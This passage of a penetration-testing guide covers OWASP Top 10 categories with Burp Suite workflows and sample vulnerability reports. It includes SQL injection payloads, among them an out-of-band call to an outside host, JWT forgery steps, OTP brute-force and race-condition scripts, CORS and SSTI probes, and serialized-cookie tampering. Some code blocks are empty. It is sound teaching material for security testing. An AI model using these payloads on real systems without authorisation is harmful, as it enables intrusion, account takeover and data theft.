high-privilege account (admin) and a low-privilege account (regular user).\n3. Copy the session cookie of the **low-privilege user**.\n4. In Autorize, paste the low-privilege cookie into the \"Cookie\" header field.\n5. Enable Autorize and browse the application as the **high-privilege user**.\n\nAutorize will automatically replay every request made by the admin with the low-privilege user's cookie, flagging where access control is missing. Results are color-coded:\n- \ud83d\udd34 **Red** \u2013 Access control is bypassed (vulnerability confirmed)\n- \ud83d\udfe2 **Green** \u2013 Access control is enforced\n- \ud83d\udfe1 **Yellow** \u2013 Unclear, requires manual verification\n\n#### Step 2: Manual IDOR Testing with Intruder\n\n1. Capture a request in Proxy that contains a resource identifier (e.g., `/api/users/1001/profile`).\n2. Send it to **Intruder**.\n3. Mark the ID value (`1001`) as the payload position.\n4. Use a **Numbers** payload type (e.g., 1000\u20131100, step 1).\n5. Start the attack and analyze responses.\n6. Look for responses with **200 OK** status codes and varying **Content-Length** values \u2014 these indicate data belonging to different users was returned.\n\n#### Step 3: AuthMatrix for Complex Role Testing\n\n1. Install **AuthMatrix**.\n2. Define roles (e.g., Admin, Manager, User, Unauthenticated).\n3. Assign session tokens to each role.\n4. Add requests to the matrix and define expected access per role.\n5. Run the matrix \u2014 AuthMatrix flags violations where a role accessed something it shouldn't.\n\n#### Step 4: Manual Testing with Repeater\n\n1. Capture a privileged request (e.g., `POST /admin/delete-user`).\n2. Send to **Repeater**.\n3. Replace the session cookie with a low-privilege user's cookie.\n4. Send and observe the response.\n5. If the action succeeds, vertical privilege escalation is confirmed.\n\n### 3.5 Reporting\n\n```markdown\n## Vulnerability Report: Broken Access Control (IDOR)\n\n**Severity:** High (CVSS 8.6)\n**Endpoint:** GET /api/v1/users/{id}/profile\n**Affected Parameter:** id (path parameter)\n\n### Description\nThe application fails to validate that the authenticated user has \nauthorization to access the requested user profile. By modifying the \n`id` parameter, an attacker can access any user's profile data including \nPII (name, email, phone, address).\n\n### Steps to Reproduce\n1. Log in as User A (user_id: 1001)\n2. Navigate to \"My Profile\" \u2014 observe request: GET /api/v1/users/1001/profile\n3. In Burp Repeater, change 1001 to 1002\n4. Send the request\n5. Observe: User B's complete profile data is returned\n\n### Impact\nAn attacker can enumerate and exfiltrate all user profile data in the \nsystem by iterating through user IDs. This affects ~50,000 users and \nexposes PII, violating GDPR/CCPA regulations.\n\n### Remediation\n- Implement server-side authorization checks on every resource access\n- Use indirect object references or UUIDs instead of sequential IDs\n- Validate that the authenticated user owns the requested resource\n- Implement rate limiting on API endpoints\n\n### Evidence\n[Attach Burp Repeater screenshots showing the original and modified requests]\n[Attach Autorize results showing bypassed access controls]\n```\n\n---\n\n\n## 4. A02:2021 \u2013 Cryptographic Failures\n\n### 4.1 What It Is\n\nPreviously known as \"Sensitive Data Exposure,\" this category focuses on failures related to cryptography \u2014 or lack thereof \u2014 that lead to exposure of sensitive data. This includes transmission of data in cleartext, use of weak or deprecated cryptographic algorithms, improper key management, lack of encryption at rest, insufficient transport layer security, and failure to enforce encryption through mechanisms like HTTP Strict Transport Security (HSTS).\n\nSensitive data includes: passwords, credit card numbers, health records, personal information, business secrets, and any data protected by regulations (GDPR, PCI-DSS, HIPAA).\n\n### 4.2 Where to Find It\n\n- **Login forms** transmitted over HTTP instead of HTTPS\n- **API responses** containing sensitive data without encryption\n- **Cookies** without `Secure` and `HttpOnly` flags\n- **Password storage** using weak hashing (MD5, SHA1 without salt)\n- **Database connection strings** in configuration files\n- **Backup files** accessible on the web server\n- **TLS/SSL configuration** with outdated protocols or weak cipher suites\n- **Mobile API endpoints** with certificate pinning bypass opportunities\n\n### 4.3 How It Works\n\nCryptographic failures manifest in several ways:\n\n1. **Data in transit:** Application transmits sensitive data over HTTP or uses TLS 1.0/1.1 with weak ciphers, allowing man-in-the-middle interception.\n2. **Data at rest:** Passwords stored in plaintext or with reversible encryption; database backups unencrypted.\n3. **Weak algorithms:** Use of MD5/SHA1 for password hashing, DES/RC4 for encryption, or RSA with small key sizes.\n4. **Key management failures:** Hardcoded encryption keys, keys stored in source code, or lack of key rotation.\n\n### 4.4 How to Exploit with Burp Suite\n\n#### Step 1: Passive Scanning with Burp Scanner\n\n1. Browse the target application thoroughly with Burp Proxy active.\n2. Burp's **passive scanner** automatically flags:\n   - Cookies without `Secure` or `HttpOnly` flags\n   - Mixed content (HTTPS pages loading HTTP resources)\n   - Missing HSTS headers\n   - Sensitive data in URL parameters\n   - Forms submitted over HTTP\n\n#### Step 2: Analyzing Responses with Logger++\n\n1. Install **Logger++**.\n2. Configure filters to search for sensitive patterns:\n   - `Response Body Contains: \"password\"`\n   - `Response Body Contains: \"ssn\"`\n   - `Response Body Contains: \"credit_card\"`\n   - `Response Body Matches: /\\b\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}\\b/` (credit card regex)\n3. Browse the application \u2014 Logger++ highlights responses containing sensitive data in cleartext.\n\n#### Step 3: Token Analysis with Sequencer\n\n1. Capture a request that generates session tokens (e.g., login response).\n2. Send to **Sequencer**.\n3. Configure the token location in the response.\n4. Start **Live Capture** \u2014 Sequencer collects thousands of tokens.\n5. Analyze results \u2014 poor randomness (below the significance threshold) indicates predictable tokens, which is a cryptographic failure.\n6. Look for: low entropy, character-level bias, bit-level uniformity failures.\n\n#### Step 4: JWT Analysis with JWT Editor\n\n1. Install **JWT Editor** from BApp Store.\n2. Capture a request containing a JWT token.\n3. The JWT tab automatically decodes the token, showing Header, Payload, and Signature.\n4. Test for:\n   - **Algorithm confusion:** Change `alg` from `RS256` to `HS256` and sign with the public key\n   - **None algorithm:** Change `alg` to `none` and remove the signature\n   - **Weak secret:** Use Hashcat or the **JOSEPH** extension to brute-force the HMAC secret\n   - **Key injection (jwk/jku/kid):** Inject attacker-controlled keys\n\n```\n# Original JWT Header\n{\"alg\": \"RS256\", \"typ\": \"JWT\"}\n\n# Modified (Algorithm Confusion Attack)\n{\"alg\": \"HS256\", \"typ\": \"JWT\"}\n# Sign payload using the public key as HMAC secret\n```\n\n#### Step 5: HSTS and TLS Testing\n\n1. In Burp Repeater, send a request and examine response headers.\n2. Check for missing `Strict-Transport-Security` header.\n3. Use **Active Scan++** to detect SSL/TLS issues.\n4. Verify cookie attributes in the Proxy \u2192 HTTP History \u2192 Response headers.\n\n### 4.5 Reporting\n\n```markdown\n## Vulnerability Report: Cryptographic Failure \u2013 JWT Algorithm Confusion\n\n**Severity:** Critical (CVSS 9.8)\n**Endpoint:** POST /api/auth/login (token issuance), all authenticated endpoints (token validation)\n\n### Description\nThe application's JWT implementation is vulnerable to an algorithm confusion \nattack. The server accepts tokens signed with HS256 (symmetric) when it was \nconfigured for RS256 (asymmetric). By using the publicly available RSA public \nkey as the HMAC secret, an attacker can forge valid JWT tokens for any user, \nincluding administrators.\n\n### Steps to Reproduce\n1. Obtain the public key from /api/.well-known/jwks.json\n2. Capture a valid JWT from the login response\n3. In Burp's JWT Editor, change the header algorithm from RS256 to HS256\n4. Modify the payload to set \"role\": \"admin\" and \"sub\": \"admin@target.com\"\n5. Sign the token using the public key as the HMAC-SHA256 secret\n6. Replace the original token and send a request to /api/admin/users\n7. Observe: Full admin access is granted\n\n### Impact\nComplete authentication bypass allowing any unauthenticated attacker to \nimpersonate any user, including administrators, leading to full system compromise.\n\n### Remediation\n- Explicitly validate the expected algorithm server-side\n- Never allow algorithm switching\n- Use asymmetric algorithms (RS256/ES256) with proper key management\n- Implement token binding and audience validation\n```\n\n---\n\n\n## 5. A03:2021 \u2013 Injection\n\n### 5.1 What It Is\n\nInjection flaws occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization. Injection encompasses a wide variety of attack vectors:\n\n- **SQL Injection (SQLi):** Manipulating SQL queries\n- **Cross-Site Scripting (XSS):** Injecting client-side scripts (now merged into this category)\n- **NoSQL Injection:** Targeting NoSQL databases (MongoDB, CouchDB)\n- **OS Command Injection:** Executing system commands\n- **LDAP Injection:** Manipulating LDAP queries\n- **XML/XPath Injection:** Attacking XML parsers\n- **Template Injection (SSTI):** Exploiting server-side template engines\n- **Header Injection / CRLF Injection:** Injecting HTTP headers\n- **Expression Language (EL) Injection:** Attacking Java EL expressions\n\n### 5.2 Where to Find It\n\n- **Search fields and forms** \u2014 anywhere user input constructs queries\n- **URL parameters** \u2014 `?id=1`, `?search=term`, `?sort=column`\n- **HTTP headers** \u2014 `User-Agent`, `Referer`, `X-Forwarded-For`\n- **Cookies** \u2014 values used in server-side logic\n- **File upload filenames** \u2014 processed by backend systems\n- **API request bodies** \u2014 JSON/XML payloads\n- **Hidden form fields** \u2014 often trusted by developers\n- **Registration/profile fields** \u2014 stored XSS vectors\n\n### 5.3 How It Works\n\nThe fundamental problem is the mixing of code and data. When user-supplied data is concatenated directly into a query or command string without proper sanitization or parameterization, the interpreter cannot distinguish between intended code and injected data.\n\n**SQL Injection Example:**\n```sql\n-- Vulnerable query\nSELECT * FROM users WHERE username = '\" + userInput + \"' AND password = '\" + passInput + \"'\";\n\n-- Attacker input: ' OR '1'='1' --\n-- Resulting query:\nSELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = ''\n-- The OR condition is always true, the password check is commented out\n```\n\n**XSS Example:**\n```html\n\n\nWelcome, \n\n\n\n```\n\n### 5.4 How to Exploit with Burp Suite\n\n#### SQL Injection with Burp Scanner + Backslash Powered Scanner\n\n1. Install **Backslash Powered Scanner** and **Active Scan++**.\n2. Identify input points by browsing with Proxy.\n3. Right-click a request \u2192 **\"Do Active Scan\"** (Pro).\n4. Burp Scanner combined with the extensions will test for:\n   - Error-based SQLi\n   - Blind Boolean-based SQLi\n   - Blind Time-based SQLi\n   - UNION-based SQLi\n   - Out-of-band SQLi (using Burp Collaborator)\n\n#### Manual SQLi with Repeater\n\n1. Capture a request with a parameter (e.g., `id=5`).\n2. Send to **Repeater**.\n3. Test with standard payloads:\n\n```\n# Error-based detection\nid=5'          \u2192 Look for SQL error messages\nid=5''         \u2192 If error disappears, likely injectable\nid=5 AND 1=1   \u2192 Should return normal response\nid=5 AND 1=2   \u2192 Should return different/empty response\n\n# UNION-based enumeration\nid=5 ORDER BY 1--     \u2192 Increment until error to find column count\nid=5 UNION SELECT NULL,NULL,NULL--\nid=5 UNION SELECT username,password,NULL FROM users--\n\n# Time-based blind\nid=5; WAITFOR DELAY '0:0:5'--     \u2192 MSSQL\nid=5 AND SLEEP(5)--               \u2192 MySQL\nid=5; SELECT pg_sleep(5)--        \u2192 PostgreSQL\n\n# Out-of-band (use Collaborator)\nid=5; EXEC master..xp_dirtree '\\\\burpcollaborator.net\\a'--\n```\n\n4. Use **Burp Collaborator** client (Burp \u2192 Collaborator \u2192 Copy to clipboard) for OOB detection.\n\n#### XSS with Intruder\n\n1. Capture a request with a reflectable parameter.\n2. Send to **Intruder**.\n3. Load an XSS payload list (e.g., PortSwigger's XSS cheat sheet payloads).\n4. Configure the payload position on the vulnerable parameter.\n5. Set **Grep \u2013 Match** rules to detect reflection: look for your payloads appearing unencoded in responses.\n6. For stored XSS, inject the payload in Repeater and then browse to the page where it renders.\n\n#### Advanced: SSTI with Hackvertor\n\n1. Install **Hackvertor**.\n2. In Repeater, test template injection with mathematical expressions:\n```\n{{7*7}}       \u2192 Jinja2/Twig: expect 49\n${7*7}        \u2192 FreeMarker: expect 49\n<%=7*7%>      \u2192 ERB: expect 49\n#{7*7}        \u2192 Pebble/Thymeleaf\n```\n3. Use Hackvertor tags for encoding/obfuscation to bypass WAFs:\n```\n<@urlencode_all>{{7*7}}<@/urlencode_all>\n```\n\n#### Command Injection via Collaborator Everywhere\n\n1. Install **Collaborator Everywhere**.\n2. Browse the target \u2014 the extension automatically inserts Collaborator payloads into headers.\n3. Check the Collaborator tab for incoming DNS/HTTP interactions, indicating out-of-band command injection or SSRF.\n\n### 5.5 Reporting\n\n```markdown\n## Vulnerability Report: SQL Injection (Blind Time-Based)\n\n**Severity:** Critical (CVSS 9.8)\n**Endpoint:** GET /api/products?category=electronics\n**Affected Parameter:** category (query string)\n\n### Description\nThe `category` parameter is vulnerable to blind time-based SQL injection.\nThe application concatenates user input directly into a SQL query without \nparameterization. An attacker can extract the entire database contents \nthrough conditional time delays.\n\n### Steps to Reproduce\n1. In Burp Repeater, send: GET /api/products?category=electronics\n2. Observe normal response time: ~200ms\n3. Send: GET /api/products?category=electronics' AND SLEEP(5)--\n4. Observe response time: ~5200ms (confirming injection)\n5. Extract data: category=electronics' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--\n6. Iterate through characters to extract database name, tables, and data\n\n### Impact\nFull database compromise. Attacker can read, modify, or delete all \ndata in the database. Depending on database permissions, could escalate \nto OS command execution via xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL).\n\n### Evidence\n[Burp Repeater screenshots showing timing differences]\n[Intruder attack results showing data extraction]\n\n### Remediation\n- Use parameterized queries / prepared statements\n- Implement input validation (allowlist approach)\n- Apply principle of least privilege to database accounts\n- Deploy a Web Application Firewall (WAF) as defense-in-depth\n```\n\n---\n\n\n## 6. A04:2021 \u2013 Insecure Design\n\n### 6.1 What It Is\n\nInsecure Design is a broad category focusing on risks related to design and architectural flaws. Unlike implementation bugs (which can be fixed with better code), insecure design represents **fundamental flaws in the business logic** that cannot be fixed by a perfect implementation. This is a relatively new addition to the OWASP Top 10, recognizing that many vulnerabilities stem from inadequate threat modeling during the design phase.\n\nExamples include:\n- **Business logic flaws:** E-commerce allowing negative quantities for refunds\n- **Insufficient rate limiting on critical functions:** Password reset, OTP verification\n- **Missing anti-automation controls:** Mass account creation\n- **Predictable resource identifiers:** Sequential order numbers\n- **Race conditions:** Time-of-check-to-time-of-use (TOCTOU) vulnerabilities\n- **Insufficient workflow validation:** Skipping steps in multi-step processes\n\n### 6.2 Where to Find It\n\n- **Checkout and payment flows** \u2014 price manipulation, step skipping\n- **Registration workflows** \u2014 bypassing email verification\n- **Password reset mechanisms** \u2014 OTP brute-forcing, token prediction\n- **Multi-step processes** \u2014 wizard-style forms where steps can be skipped\n- **Coupon/discount systems** \u2014 reuse, stacking, or negative values\n- **Voting/polling systems** \u2014 repeated voting without limits\n- **File processing features** \u2014 unrestricted processing of large files (DoS)\n\n### 6.3 How to Exploit with Burp Suite\n\n#### Business Logic Testing with Repeater\n\n1. **Price Manipulation:**\n   - Capture a purchase request in Proxy.\n   - In Repeater, modify the `price`, `quantity`, or `total` fields.\n   - Send `quantity=-1` or `price=0.01` and observe if the server accepts it.\n\n2. **Workflow Bypass:**\n   - Map the multi-step process (e.g., Step 1: Select item \u2192 Step 2: Enter shipping \u2192 Step 3: Payment \u2192 Step 4: Confirm).\n   - In Repeater, skip directly to Step 4 with a manipulated request.\n   - Observe if the order is placed without payment.\n\n#### Rate Limiting Testing with Turbo Intruder\n\n1. Install **Turbo Intruder**.\n2. Capture a password reset OTP verification request.\n3. Right-click \u2192 **Send to Turbo Intruder**.\n4. Write a script to brute-force the 4-6 digit OTP:\n\n```python\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                           concurrentConnections=30,\n                           requestsPerConnection=100,\n                           pipeline=True)\n    for i in range(0, 999999):\n        otp = str(i).zfill(6)\n        engine.queue(target.req, otp)\n\ndef handleResponse(req, interesting):\n    if req.status == 200 or 'success' in req.response.lower():\n        table.add(req)\n```\n\n5. If the OTP can be brute-forced (no rate limit, no account lockout), this is an insecure design flaw.\n\n#### Race Condition Testing with Turbo Intruder\n\n1. Capture a request for applying a discount code or transferring funds.\n2. Use Turbo Intruder with the **race condition** template:\n\n```python\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                           concurrentConnections=1,\n                           requestsPerConnection=50,\n                           pipeline=False)\n    # Queue 50 identical requests\n    for i in range(50):\n        engine.queue(target.req, gate='race')\n    # Release all at once\n    engine.openGate('race')\n\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\n3. If the discount code was applied multiple times or funds were transferred multiple times, a race condition exists.\n\n### 6.4 Reporting\n\nFocus on the **design flaw** rather than just the symptom. Explain what design principle was violated and recommend architectural changes, not just code patches.\n\n---\n\n\n## 7. A05:2021 \u2013 Security Misconfiguration\n\n### 7.1 What It Is\n\nSecurity Misconfiguration is the most commonly seen vulnerability category. It occurs when security settings are defined, implemented, or maintained improperly. This includes:\n\n- **Default credentials** left unchanged\n- **Unnecessary features enabled** \u2014 debug pages, directory listing, unnecessary HTTP methods\n- **Missing security headers** \u2014 CSP, X-Frame-Options, X-Content-Type-Options\n- **Overly permissive CORS policies**\n- **Verbose error messages** exposing stack traces\n- **Cloud storage misconfiguration** \u2014 public S3 buckets\n- **Unpatched or outdated server software**\n- **XML External Entity (XXE) processing enabled**\n\n### 7.2 Where to Find It\n\n- **Error pages** \u2014 triggering errors to see stack traces\n- **HTTP response headers** \u2014 missing security headers\n- **Default paths** \u2014 `/admin`, `/phpinfo.php`, `/server-status`, `/elmah.axd`\n- **HTTP methods** \u2014 OPTIONS, TRACE, PUT, DELETE\n- **API documentation** \u2014 Swagger/OpenAPI exposed in production\n- **Cloud infrastructure** \u2014 S3 buckets, Azure blobs, GCP storage\n\n### 7.3 How to Exploit with Burp Suite\n\n#### Hidden Parameter Discovery with Param Miner\n\n1. Install **Param Miner**.\n2. Right-click a request \u2192 **Extensions \u2192 Param Miner \u2192 Guess params**.\n3. Param Miner will bruteforce hidden parameters (query, headers, cookies).\n4. Look for parameters like `debug=true`, `admin=1`, `test=1` that change application behavior.\n\n#### Security Header Analysis with CSP Auditor\n\n1. Install **CSP Auditor**.\n2. Browse the application \u2014 CSP Auditor analyzes Content-Security-Policy headers.\n3. Check for:\n   - Missing CSP entirely\n   - `unsafe-inline` or `unsafe-eval` directives\n   - Wildcard domains (`*.example.com`)\n   - Missing `frame-ancestors` (clickjacking protection)\n\n#### CORS Testing in Repeater\n\n1. Capture any authenticated request.\n2. In Repeater, add: `Origin: https://evil-attacker.com`\n3. Send and check the response for:\n   - `Access-Control-Allow-Origin: https://evil-attacker.com` (reflects attacker origin)\n   - `Access-Control-Allow-Credentials: true` (allows cookies)\n4. If both are present, the CORS policy is dangerously misconfigured.\n5. Test variations: `Origin: null`, `Origin: https://evil-attacker.com.target.com`\n\n#### XXE Testing in Repeater\n\n1. Find an endpoint that processes XML input.\n2. In Repeater, inject an XXE payload:\n\n```xml\n\n\n]>\n\n  &xxe;\n\n```\n\n3. If the response contains the contents of `/etc/passwd`, XXE is confirmed.\n4. For blind XXE, use **Burp Collaborator**:\n\n```xml\n\n]>\n```\n\n#### HTTP Method Testing with Intruder\n\n1. Capture a request.\n2. Send to Intruder.\n3. Set the HTTP method as the payload position.\n4. Use a simple list: `GET, POST, PUT, DELETE, PATCH, OPTIONS, TRACE, HEAD, CONNECT`.\n5. Analyze responses \u2014 unexpected 200 responses to dangerous methods indicate misconfiguration.\n\n### 7.4 Reporting\n\nInclude specific misconfiguration details, the exact headers or settings that are problematic, and provide the correct configuration. For example:\n\n```markdown\n### Missing Security Headers\n\n| Header | Current | Recommended |\n|--------|---------|-------------|\n| Content-Security-Policy | Missing | `default-src 'self'; script-src 'self'; style-src 'self'` |\n| X-Frame-Options | Missing | `DENY` or `SAMEORIGIN` |\n| X-Content-Type-Options | Missing | `nosniff` |\n| Strict-Transport-Security | Missing | `max-age=31536000; includeSubDomains; preload` |\n| Referrer-Policy | Missing | `strict-origin-when-cross-origin` |\n| Permissions-Policy | Missing | `camera=(), microphone=(), geolocation=()` |\n```\n\n---\n\n\n## 8. A06:2021 \u2013 Vulnerable and Outdated Components\n\n### 8.1 What It Is\n\nApplications often rely on third-party libraries, frameworks, and software components. When these components have known vulnerabilities and are not updated promptly, the application inherits those vulnerabilities. This category addresses:\n\n- Using components with known CVEs\n- Unsupported or end-of-life software\n- Failure to track component versions\n- Not scanning for vulnerabilities regularly\n- Not fixing or upgrading underlying platforms and dependencies\n\n### 8.2 Where to Find It\n\n- **JavaScript libraries** loaded in the browser (jQuery, Angular, React, Bootstrap)\n- **Server-side frameworks** (Spring, Django, Rails, Express)\n- **Web servers** (Apache, Nginx, IIS) \u2014 version disclosure in headers\n- **CMS platforms** (WordPress, Drupal, Joomla) with outdated plugins\n- **API gateways** and middleware components\n- **Database systems** with known vulnerabilities\n\n### 8.3 How to Exploit with Burp Suite\n\n#### Client-Side Component Detection with Retire.js\n\n1. Install **Retire.js** from BApp Store.\n2. Browse the target application with Proxy active.\n3. Retire.js automatically scans JavaScript files loaded by the application.\n4. Check the **Extender \u2192 Extensions \u2192 Retire.js** output tab for findings.\n5. Results will show:\n   - Library name and version\n   - Known CVEs\n   - Severity ratings\n   - Links to vulnerability details\n\n#### Server-Side Component Detection with Active Scan++\n\n1. Install **Active Scan++**.\n2. Run an active scan on the target.\n3. Active Scan++ includes checks for:\n   - Known vulnerable server versions\n   - Framework-specific vulnerabilities\n   - CMS detection and version fingerprinting\n\n#### Manual Version Fingerprinting in Repeater\n\n1. Check server headers:\n```\nServer: Apache/2.4.29 (Ubuntu)\nX-Powered-By: PHP/7.2.10\nX-AspNet-Version: 4.0.30319\n```\n\n2. Check default error pages, favicon hashes, and known file paths.\n3. Use **Hackvertor** to compute favicon hash for Shodan lookups:\n   - Download favicon \u2192 calculate MD5/mmh3 hash \u2192 search Shodan.\n\n#### Software Vulnerability Scanner Extension\n\n1. Install **Software Vulnerability Scanner**.\n2. Browse the target application.\n3. The extension automatically fingerprints technologies and cross-references against vulnerability databases.\n\n### 8.4 Reporting\n\n```markdown\n## Vulnerability Report: Vulnerable JavaScript Library \u2013 jQuery 2.1.4\n\n**Severity:** Medium (depends on exploitability in context)\n**Location:** https://target.com/assets/js/jquery-2.1.4.min.js\n\n### Identified Vulnerabilities\n| CVE | Description | Severity |\n|-----|-------------|----------|\n| CVE-2020-11022 | XSS via htmlPrefilter | Medium |\n| CVE-2020-11023 | XSS via HTML containing option elements | Medium |\n| CVE-2019-11358 | Prototype pollution via extend function | Low |\n\n### Evidence\nDetected by Retire.js Burp Extension during passive scanning.\nCurrent version: 2.1.4 | Latest stable: 3.7.1\n\n### Remediation\n- Upgrade jQuery to version 3.5.0 or later\n- Implement a Software Composition Analysis (SCA) tool in CI/CD pipeline\n- Establish a patch management policy for third-party dependencies\n```\n\n---\n\n\n## 9. A07:2021 \u2013 Identification and Authentication Failures\n\n### 9.1 What It Is\n\nThis category (previously \"Broken Authentication\") covers weaknesses in authentication mechanisms that allow attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users' identities temporarily or permanently.\n\nCommon issues include:\n- **Credential stuffing** / brute-force attacks allowed\n- **Weak password policies** \u2014 no minimum length, no complexity\n- **Default credentials** \u2014 admin/admin, test/test\n- **Missing multi-factor authentication (MFA)**\n- **Session fixation** \u2014 accepting pre-set session IDs\n- **Session tokens in URLs** \u2014 exposed in referrer headers and logs\n- **Inadequate session invalidation** \u2014 sessions not expired after logout or inactivity\n- **Predictable session tokens** \u2014 low entropy, sequential patterns\n\n### 9.2 Where to Find It\n\n- **Login pages** \u2014 brute-force protection, error messages\n- **Registration pages** \u2014 username enumeration via different error messages\n- **Password reset flows** \u2014 token predictability, brute-force of reset codes\n- **Session management** \u2014 cookie attributes, token entropy\n- **\"Remember me\" functionality** \u2014 persistent token security\n- **SSO/OAuth implementations** \u2014 redirect_uri validation, state parameter\n\n### 9.3 How to Exploit with Burp Suite\n\n#### Credential Brute-Force with Intruder\n\n1. Capture a login request in Proxy.\n2. Send to **Intruder**.\n3. Attack type: **Cluster bomb** (for username + password combinations) or **Sniper** (for password spraying).\n4. Mark the `username` and `password` fields as payload positions.\n5. Load wordlists:\n   - Payload 1 (usernames): Common usernames or enumerated users\n   - Payload 2 (passwords): SecLists top passwords\n6. Configure **Grep \u2013 Match** to detect successful login indicators.\n7. Analyze results by **Status code** and **Response length** \u2014 outliers indicate successful login.\n\n#### Username Enumeration\n\n1. In Repeater, submit a login with a **valid username** and wrong password.\n2. Submit a login with an **invalid username** and wrong password.\n3. Compare responses using **Comparer** \u2014 look for:\n   - Different error messages (\"Invalid password\" vs. \"User not found\")\n   - Different response lengths\n   - Different response times (timing attacks)\n4. Use Intruder to enumerate valid usernames from a list.\n\n#### Session Token Analysis with Sequencer\n\n1. Capture the login response containing a session cookie.\n2. Send to **Sequencer**.\n3. Define the token location.\n4. **Live capture** 10,000+ tokens.\n5. Run analysis:\n   - **Character-level analysis** \u2014 checks for bias in character frequency\n   - **Bit-level analysis** \u2014 checks for patterns in binary representation\n   - **Overall result** \u2014 effective entropy score\n6. Tokens with less than 64 bits of effective entropy are considered weak.\n\n#### Session Fixation Testing\n\n1. Note the session token **before** authentication.\n2. Authenticate with valid credentials.\n3. Check if the session token **changed** after authentication.\n4. If the same token persists, session fixation is possible:\n   - Attacker sets a known session ID \u2192 victim authenticates with that session \u2192 attacker hijacks the authenticated session.\n\n#### Password Reset Token Analysis\n\n1. Request multiple password reset tokens.\n2. Analyze in **Sequencer** for predictability.\n3. Check if tokens are time-based, sequential, or derived from user data.\n4. In Repeater, test if expired tokens are still accepted.\n5. Test if tokens can be reused multiple times.\n\n### 9.4 Reporting\n\nInclude detailed evidence from Sequencer (entropy analysis graphs), Intruder results showing enumeration was possible, and clear reproduction steps showing the authentication bypass chain.\n\n---\n\n\n## 10. A08:2021 \u2013 Software and Data Integrity Failures\n\n### 10.1 What It Is\n\nThis category relates to code and infrastructure that does not protect against integrity violations. This includes:\n\n- **Insecure Deserialization** (previously a standalone Top 10 entry) \u2014 when applications deserialize untrusted data without validation, leading to remote code execution, replay attacks, injection, and privilege escalation.\n- **Insecure CI/CD pipelines** \u2014 compromised build processes\n- **Auto-update mechanisms without integrity verification** \u2014 applications that download updates without signature verification\n- **Unsigned or unverified data serialization** \u2014 cookies, API tokens, or state data that can be tampered with\n\n### 10.2 Where to Find It\n\n- **Serialized objects in cookies** \u2014 Java serialization, PHP serialization, Python pickle\n- **ViewState** in ASP.NET applications (without MAC validation)\n- **API responses** containing serialized data structures\n- **File upload features** that deserialize uploaded content\n- **Message queues** processing serialized messages\n- **CDN resources** loaded without Subresource Integrity (SRI) hashes\n\n### 10.3 How to Exploit with Burp Suite\n\n#### Detecting Serialized Data\n\n1. Browse the application with Proxy active.\n2. Look for telltale signs of serialized data:\n   - **Java:** Base64-decoded starts with `rO0AB` (hex: `AC ED 00 05`)\n   - **PHP:** `O:4:\"User\":2:{...}` or `a:2:{...}`\n   - **.NET ViewState:** `__VIEWSTATE` parameter with Base64 data\n   - **Python Pickle:** Binary blob often Base64-encoded\n\n#### Java Deserialization with Burp Extensions\n\n1. Install **Java Deserialization Scanner** from BApp Store.\n2. Capture a request containing serialized Java data.\n3. Right-click \u2192 **Extensions \u2192 Deserialization Scanner \u2192 Send to DS**.\n4. The extension tests various gadget chains (Commons Collections, Spring, etc.).\n5. If a gadget chain is found, it generates a payload for RCE.\n\n#### Insecure Deserialization in PHP via Repeater\n\n1. Identify a PHP serialized object in a cookie:\n```\nCookie: user=O:4:\"User\":2:{s:4:\"name\";s:5:\"alice\";s:5:\"admin\";b:0;}\n```\n2. In Repeater, modify the serialized data:\n```\nCookie: user=O:4:\"User\":2:{s:4:\"name\";s:5:\"alice\";s:5:\"admin\";b:1;}\n```\n3. The `admin` boolean changed from `0` (false) to `1` (true).\n4. Send and observe if admin privileges are granted.\n\n#### ViewState Tampering\n\n1. Capture a request with `__VIEWSTATE`.\n2. Use **Decoder** to Base64-decode and inspect the contents.\n3. If the ViewState is not MAC-protected (no signature), modify values directly.\n4. Re-encode with Decoder and send via Repeater.\n5. If MAC is present, check for known keys or misconfigurations.\n\n#### Integrity Check for CDN Resources\n\n1. In Proxy, examine HTML responses for externally loaded scripts.\n2. Check for the presence of `integrity` attributes (SRI):\n```html\n\n\n\n\n\n```\n3. Report missing SRI as it allows CDN compromise to inject malicious code.\n\n### 10.4 Reporting\n\n```markdown\n## Vulnerability Report: Insecure Deserialization (PHP Object Injection)\n\n**Severity:** Critical (CVSS 9.8)\n**Endpoint:** All authenticated endpoints\n**Affected Parameter:** `user` cookie\n\n### Description\nThe application stores a serialized PHP object in the `user` cookie without \nany integrity protection (no HMAC signature). An attacker can modify the \nserialized object to change their role, inject malicious objects that \nexploit magic methods (__wakeup, __destruct), or achieve remote code \nexecution through POP chain gadgets.\n\n### Steps to Reproduce\n1. Log in as a regular user\n2. In Burp Proxy, observe the `user` cookie\n3. Base64 decode: O:4:\"User\":2:{s:4:\"name\";s:5:\"alice\";s:5:\"admin\";b:0;}\n4. Modify admin flag: O:4:\"User\":2:{s:4:\"name\";s:5:\"alice\";s:5:\"admin\";b:1;}\n5. Base64 encode and replace the cookie\n6. Access /admin \u2192 Admin panel is accessible\n\n### Impact\nPrivilege escalation to admin, potential RCE through POP chain exploitation.\n\n### Remediation\n- Never expose serialized objects to the client\n- Implement HMAC signatures on all serialized data\n- Use JSON instead of native serialization formats\n- Implement integrity checks on all deserialized data\n```\n\n---\n\n\n## 11. A09:2021 \u2013 Security Logging and Monitoring Failures\n\n### 11.1 What It Is\n\nThis category addresses the inability to detect, escalate, and respond to active breaches. Without adequate logging and monitoring, attacks can go undetected for extended periods \u2014 the average time to detect a breach is over 200 days according to industry reports. Issues include:\n\n- **Auditable events not logged** \u2014 logins, failed logins, high-value transactions\n- **Warnings and errors generating no or inadequate log messages**\n- **Logs only stored locally** without centralized monitoring\n- **Inappropriate alerting thresholds** or no alerting at all\n- **Penetration tests and DAST scans not triggering alerts**\n- **Log injection** \u2014 attacker can manipulate log entries\n- **Sensitive data logged** \u2014 passwords or tokens in logs\n\n### 11.2 Where to Find It\n\nThis is unique among the Top 10 because it's **detected through absence** rather than presence. You find it by looking for what **should** be there but isn't.\n\n- **Failed login attempts** \u2014 